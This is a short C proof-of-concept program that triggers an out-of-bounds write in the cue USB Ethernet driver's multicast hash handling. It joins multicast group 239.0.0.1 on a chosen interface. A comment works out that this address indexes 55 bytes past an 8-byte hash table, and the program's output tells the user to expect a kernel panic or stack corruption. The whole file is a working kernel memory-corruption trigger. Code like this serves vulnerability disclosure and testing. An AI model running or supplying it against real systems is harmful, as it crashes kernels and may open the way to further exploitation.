#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char *argv[])
{
    int s, ifindex;
    struct ip_mreqn mreqn;

    if (argc != 2) {
        fprintf(stderr, "usage: %s <cue_ifindex>\n", argv[0]);
        return 1;
    }
    ifindex = atoi(argv[1]);

    s = socket(AF_INET, SOCK_DGRAM, 0);
    if (s < 0) { perror("socket"); return 1; }

    /* 239.0.0.1 -> MAC 01:00:5e:00:00:01
     * cue_mchash = ether_crc32_le(mac,6) & 0x1FF = 510
     * hashtbl[510>>3] = hashtbl[63]  -- 55 bytes past 8-byte array!
     */
    memset(&mreqn, 0, sizeof(mreqn));
    mreqn.imr_multiaddr.s_addr = inet_addr("239.0.0.1");
    mreqn.imr_ifindex = ifindex;

    if (setsockopt(s, IPPROTO_IP, IP_ADD_MEMBERSHIP,
                   &mreqn, sizeof(mreqn)) < 0) {
        perror("setsockopt(IP_ADD_MEMBERSHIP)");
        close(s);
        return 1;
    }

    printf("[+] Joined 239.0.0.1 on ifindex %d\n", ifindex);
    printf("[+] cue_setmulti() wrote OOB at hashtbl[63]\n");
    printf("[+] Expect kernel panic or stack corruption\n");
    sleep(3);
    close(s);
    return 0;
}
